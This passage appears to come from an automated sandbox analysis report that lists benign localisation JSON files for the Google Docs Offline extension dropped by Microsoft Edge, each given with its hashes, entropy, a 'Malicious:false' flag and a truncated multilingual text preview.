                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1672
                                                                                                                                                                          Entropy (8bit):4.314484457325167
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
                                                                                                                                                                          MD5:98A7FC3E2E05AFFFC1CFE4A029F47476
                                                                                                                                                                          SHA1:A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
                                                                                                                                                                          SHA-256:D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
                                                                                                                                                                          SHA-512:457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):935
                                                                                                                                                                          Entropy (8bit):4.6369398601609735
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
                                                                                                                                                                          MD5:25CDFF9D60C5FC4740A48EF9804BF5C7
                                                                                                                                                                          SHA1:4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
                                                                                                                                                                          SHA-256:73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
                                                                                                                                                                          SHA-512:EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1065
                                                                                                                                                                          Entropy (8bit):4.816501737523951
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
                                                                                                                                                                          MD5:8930A51E3ACE3DD897C9E61A2AEA1D02
                                                                                                                                                                          SHA1:4108506500C68C054BA03310C49FA5B8EE246EA4
                                                                                                                                                                          SHA-256:958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
                                                                                                                                                                          SHA-512:126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2771
                                                                                                                                                                          Entropy (8bit):3.7629875118570055
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
                                                                                                                                                                          MD5:55DE859AD778E0AA9D950EF505B29DA9
                                                                                                                                                                          SHA1:4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
                                                                                                                                                                          SHA-256:0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
                                                                                                                                                                          SHA-512:EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):858
                                                                                                                                                                          Entropy (8bit):4.474411340525479
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
                                                                                                                                                                          MD5:34D6EE258AF9429465AE6A078C2FB1F5
                                                                                                                                                                          SHA1:612CAE151984449A4346A66C0A0DF4235D64D932
                                                                                                                                                                          SHA-256:E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
                                                                                                                                                                          SHA-512:20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):954
                                                                                                                                                                          Entropy (8bit):4.6457079159286545
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
                                                                                                                                                                          MD5:CAEB37F451B5B5E9F5EB2E7E7F46E2D7
                                                                                                                                                                          SHA1:F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
                                                                                                                                                                          SHA-256:943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
                                                                                                                                                                          SHA-512:A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):899
                                                                                                                                                                          Entropy (8bit):4.474743599345443
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
                                                                                                                                                                          MD5:0D82B734EF045D5FE7AA680B6A12E711
                                                                                                                                                                          SHA1:BD04F181E4EE09F02CD53161DCABCEF902423092
                                                                                                                                                                          SHA-256:F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
                                                                                                                                                                          SHA-512:01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2230
                                                                                                                                                                          Entropy (8bit):3.8239097369647634
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
                                                                                                                                                                          MD5:26B1533C0852EE4661EC1A27BD87D6BF
                                                                                                                                                                          SHA1:18234E3ABAF702DF9330552780C2F33B83A1188A
                                                                                                                                                                          SHA-256:BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
                                                                                                                                                                          SHA-512:450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1160
                                                                                                                                                                          Entropy (8bit):5.292894989863142
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
                                                                                                                                                                          MD5:15EC1963FC113D4AD6E7E59AE5DE7C0A
                                                                                                                                                                          SHA1:4017FC6D8B302335469091B91D063B07C9E12109
                                                                                                                                                                          SHA-256:34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
                                                                                                                                                                          SHA-512:427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):3264
                                                                                                                                                                          Entropy (8bit):3.586016059431306
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
                                                                                                                                                                          MD5:83F81D30913DC4344573D7A58BD20D85
                                                                                                                                                                          SHA1:5AD0E91EA18045232A8F9DF1627007FE506A70E0
                                                                                                                                                                          SHA-256:30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
                                                                                                                                                                          SHA-512:85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):3235
                                                                                                                                                                          Entropy (8bit):3.6081439490236464
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
                                                                                                                                                                          MD5:2D94A58795F7B1E6E43C9656A147AD3C
                                                                                                                                                                          SHA1:E377DB505C6924B6BFC9D73DC7C02610062F674E
                                                                                                                                                                          SHA-256:548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
                                                                                                                                                                          SHA-512:F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):3122
                                                                                                                                                                          Entropy (8bit):3.891443295908904
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
                                                                                                                                                                          MD5:B3699C20A94776A5C2F90AEF6EB0DAD9
                                                                                                                                                                          SHA1:1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
                                                                                                                                                                          SHA-256:A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
                                                                                                                                                                          SHA-512:1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1895
                                                                                                                                                                          Entropy (8bit):4.28990403715536
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
                                                                                                                                                                          MD5:38BE0974108FC1CC30F13D8230EE5C40
                                                                                                                                                                          SHA1:ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
                                                                                                                                                                          SHA-256:30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
                                                                                                                                                                          SHA-512:7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):1042
                                                                                                                                                                          Entropy (8bit):5.3945675025513955
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
                                                                                                                                                                          MD5:F3E59EEEB007144EA26306C20E04C292
                                                                                                                                                                          SHA1:83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
                                                                                                                                                                          SHA-256:C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
                                                                                                                                                                          SHA-512:7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
                                                                                                                                                                          Malicious:false
                                                                                                                                                                          Preview:{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....
                                                                                                                                                                          Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                          File Type:JSON data
                                                                                                                                                                          Category:dropped
                                                                                                                                                                          Size (bytes):2535
                                                                                                                                                                          Entropy (8bit):3.8479764584971368
                                                                                                                                                                          Encrypted:false
                                                                                                                                                                          SSDEEP:48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
                                                                                                                                                                          MD5:E20D6C27840B406555E2F5091B118FC5
                                                                                                                                                                          SHA1:0DCECC1A58CEB4936E255A64A2830956BFA6EC14
                                                                                                                                                                          SHA-256:89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
                                                                                                                                                                          SHA-512:AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
                                                                                                                                                                          Malicious:false
